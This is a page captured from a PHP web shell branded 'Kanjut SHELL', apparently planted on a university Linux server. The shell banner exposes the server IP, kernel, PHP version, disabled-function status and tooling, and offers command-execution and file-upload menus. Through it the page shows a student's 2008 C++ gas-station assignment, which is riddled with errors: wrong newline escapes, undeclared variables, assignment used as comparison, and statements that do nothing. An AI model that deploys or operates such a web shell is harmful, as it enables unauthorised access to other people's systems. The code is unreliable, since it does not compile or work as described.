Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.191.62.68
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jdwaltersdorf/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jdwaltersdorf/assin2.cpp
//-------------------------------------------
// cs 112 fall '08
// programming assingment 2
// 
// The purpose of this program is to calculate
// the number of gallons of gas purchased as well 
// as the cost of the gas, the price of the car was, 
// the total cost, and the number of discount points  
// 
// Written by: James Waltersdorf
// started september 17, 2008
//
//-------------------------------------------

// ---- Preprocessors

#include <iostream>
#include <iomanip>
using namespace std;
 
// ---- Main Function

int main ()
{

// ---- Variables


    char
	gasgrade;		//grade of gasolin r, p, s
   
    int	
	dscntpts,		//discount points
	crwsh;			//Car wash
    
    float
	gal;			//Number of gallons purchased
	
// ---- Input

cout << "/n*************************************************** ";
cout << "/nThank you choosing VWC Service Station and Carwash! ";
cout << "/n*************************************************** ";
cout << "Please enter how many gallons of gasoline you have purchased ";
cin >> gal;
cout << "\nThank you! Now could you please inidacte the grade of gasoline purchased by using R for regular, P for premium, and S for super.\n";
cin >> r, p, s;

// ---- Calculation

if (gasgrade = r)
  3.399 * gal; 
  else

if (gasgrade = p)
   3.539 * gal; 
   else

if (gasgrade = s)
   3.679 * gal; 
   else



if (gal >= 15 crwsh = 0)
  cout << "\n You recieve a Carwash for FREE! \n" ;
 else crwsh = (.1 * gal) - gal; 



Stv3n404 - 2023